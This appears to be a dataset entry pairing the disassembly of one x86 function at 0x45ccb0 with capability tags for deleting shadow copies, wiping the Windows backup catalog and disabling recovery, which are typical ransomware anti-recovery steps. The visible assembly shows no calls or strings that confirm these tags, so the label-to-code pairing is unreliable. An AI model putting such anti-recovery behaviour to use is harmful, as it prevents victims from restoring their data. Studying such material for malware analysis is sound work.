Function at 0x45ccb0
Capabilities:
Delete volume shadow copies
Delete windows backup catalog
Disable automatic windows recovery features

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x45d0e6
sub esp, 0x7c
mov ecx, dword [esp + 0x80]
test ecx, ecx
je 0x45d0cd
movzx ebx, byte [ecx + 0xf]
and ebx, 0x1f
cmp bl, 0x13
jne 0x45d0cd
lea edi, [esp + 0x34]
xor eax, eax
call fcn.0045f5e8
mov ecx, dword [esp + 0x80]
movzx ebx, byte [ecx + 0xc]
test bl, 1
je 0x45cd0a
mov edx, 0x34
jmp 0x45cd0f
mov edx, 0x24
movzx ebx, word [ecx + 0x20]
lea ebp, [edx + ecx]
cmp ebx, 0x100000
ja 0x45d0c1
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebp
xor edx, edx
jmp 0x45cd5e
mov dword [esp + 0x20], edx
mov eax, dword [ebp + edx*4]
lea ecx, [esp + 0x34]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.004503e0
mov eax, dword [esp + 0x20]
lea edx, [eax + 1]
xor eax, eax
mov ecx, dword [esp + 0x80]
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x28]
cmp edx, ebx
jl 0x45cd2e
mov ebx, dword [esp + 0x44]
add ebx, 3
and ebx, 0xfffffffc
mov dword [esp + 0x44], ebx
mov dword [esp + 0x50], ebx
movzx ebp, byte [ecx + 0xc]
movzx esi, word [ecx + 0x22]
and esi, 0x7fff
movzx edi, word [ecx + 0x20]
add esi, edi
movzx esi, si
cmp esi, 0x100000
ja 0x45d0b5
movzx edx, di
cmp edx, esi
ja 0x45d0ac
mov dword [esp + 0x24], edx
lea edi, [edx - 0x100000]
xchg edi, ebx
neg ebx
xchg edi, ebx
xchg edi, ebx
neg ebx
xchg edi, ebx
shl edx, 2
sar edi, 0x1f
and edi, edx
mov edx, dword [esp + 0x24]
sub esi, edx
cmp esi, 1
jne 0x45d094
xchg ebp, eax
test al, 1
xchg ebp, eax
je 0x45cddd
mov edx, 0x34
jmp 0x45cde2
mov edx, 0x24
add edx, ecx
mov edx, dword [edx + edi]
nop
cmp dword [edx], 4
jne 0x45d07c
xchg ebp, eax
test al, 1
xchg ebp, eax
je 0x45cdff
mov edx, 0x34
jmp 0x45ce04
mov edx, 0x24
add ecx, edx
mov ecx, dword [ecx + edi]
movzx ecx, byte [ecx + 0xf]
and ecx, 0x1f
nop
cmp cl, 0xd
je 0x45d064
cmp cl, 0xe
je 0x45d064
mov ecx, dword [0x657228]
test ecx, ecx
jne 0x45ce34
lea ecx, [ebx + 4]
mov dword [esp + 0x44], ecx
mov ecx, dword [esp + 0x44]
add ecx, 3
and ecx, 0xfffffffc
add ecx, dword [esp + 0x48]
cmp ecx, 0x100
ja 0x45d04c
movzx ecx, byte [esp + 0x88]
test cl, cl
je 0x45ce60
mov edx, dword [esp + 0x40]
jmp 0x45ce62
xor edx, edx
mov dword [esp + 0x14], edx
nop
lea eax, [0x6438e0]
mov dword [esp], eax
call fcn.00409140
mov eax, dword [esp + 0x84]
mov dword [esp + 0x2c], eax
movzx ecx, byte [esp + 0x88]
mov byte [esp + 0x30], cl
mov edx, dword [0x657164]
lea ebx, [0x5356e0]
mov dword [esp], ebx
mov dword [esp + 4], edx
lea edx, [esp + 0x2c]
mov dword [esp + 8], edx
call fcn.0040c180
movzx eax, byte [esp + 0x10]
mov ecx, dword [esp + 0xc]
mov ecx, dword [ecx]
test al, al
jne 0x45cfed
mov ecx, dword [0x657164]
test ecx, ecx
jne 0x45cef0
call fcn.0040bdb0
mov eax, dword [0x6573b0]
mov ecx, dword [esp]
test eax, eax
jne 0x45cee3
mov dword [0x657164], ecx
jmp 0x45cef0
lea edi, [0x657164]
mov eax, ecx
call fcn.0045f3d0
mov ecx, dword [0x657168]
cmp ecx, 0x7d0
jge 0x45d026
mov dword [esp + 0x18], ecx
lea edi, [esp + 0x54]
xor eax, eax
call fcn.0045f5e6
mov ecx, dword [esp + 0x84]
mov dword [esp + 0x54], ecx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x58], edx
lea edi, [esp + 0x5c]
lea esi, [esp + 0x34]
call fcn.0045fab0
mov eax, dword [esp + 0x18]
cmp eax, 0x7d0
jae 0x45d01c
lea ecx, [eax + eax*4]
lea edx, [0x6438e4]
lea edi, [edx + ecx*8]
mov ecx, dword [0x6573b0]
test ecx, ecx
jne 0x45cf61
lea esi, [esp + 0x54]
call fcn.0045fa9c
jmp 0x45cf7b
lea eax, [0x53c840]
mov dword [esp], eax
mov dword [esp + 4], edi
lea eax, [esp + 0x54]
mov dword [esp + 8], eax
call fcn.0040f2a0
mov eax, dword [esp + 0x84]
mov dword [esp + 0x2c], eax
movzx eax, byte [esp + 0x88]
mov byte [esp + 0x30], al
mov eax, dword [0x657164]
lea ecx, [0x5356e0]
mov dword [esp], ecx
mov dword [esp + 4], eax
lea eax, [esp + 0x2c]
mov dword [esp + 8], eax
call fcn.0040c500
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x18]
mov dword [eax], ecx
inc dword [0x657168]
nop
nop
lea eax, [0x6438e0]
mov dword [esp], eax
call fcn.00409340
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call fcn.004508a0
mov eax, dword [esp + 4]
mov dword [esp + 0x8c], eax
add esp, 0x7c
ret
mov dword [esp + 0x1c], ecx
nop
nop
lea eax, [0x6438e0]
mov dword [esp], eax
call fcn.00409340
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
call fcn.004508a0
mov eax, dword [esp + 4]
mov dword [esp + 0x8c], eax
add esp, 0x7c
ret
mov ecx, 0x7d0
call fcn.0045f450
nop
nop
lea eax, [0x6438e0]
mov dword [esp], eax
call fcn.00409340
lea eax, [0x54e620]
mov dword [esp], eax
mov dword [esp + 4], 0x1b
call fcn.00433a00
lea eax, [0x535040]
mov dword [esp], eax
lea eax, [0x57d92c]
mov dword [esp + 4], eax
call fcn.004332d0
lea eax, [0x535040]
mov dword [esp], eax
lea eax, [0x57d924]
mov dword [esp + 4], eax
call fcn.004332d0
lea eax, [0x535040]
mov dword [esp], eax
lea eax, [0x57d91c]
mov dword [esp + 4], eax
call fcn.004332d0
lea eax, [0x535040]
mov dword [esp], eax
lea eax, [0x57d91c]
mov dword [esp + 4], eax
call fcn.004332d0
mov eax, edx
mov ecx, esi
call fcn.0045f4b0
mov ecx, esi
mov edx, 0x100000
call fcn.0045f470
mov ecx, ebx
mov edx, 0x100000
call fcn.0045f470
lea eax, [0x535040]
mov dword [esp], eax
lea eax, [0x57d91c]
mov dword [esp + 4], eax
call fcn.004332d0
nop
call fcn.0045e000
jmp fcn.0045ccb0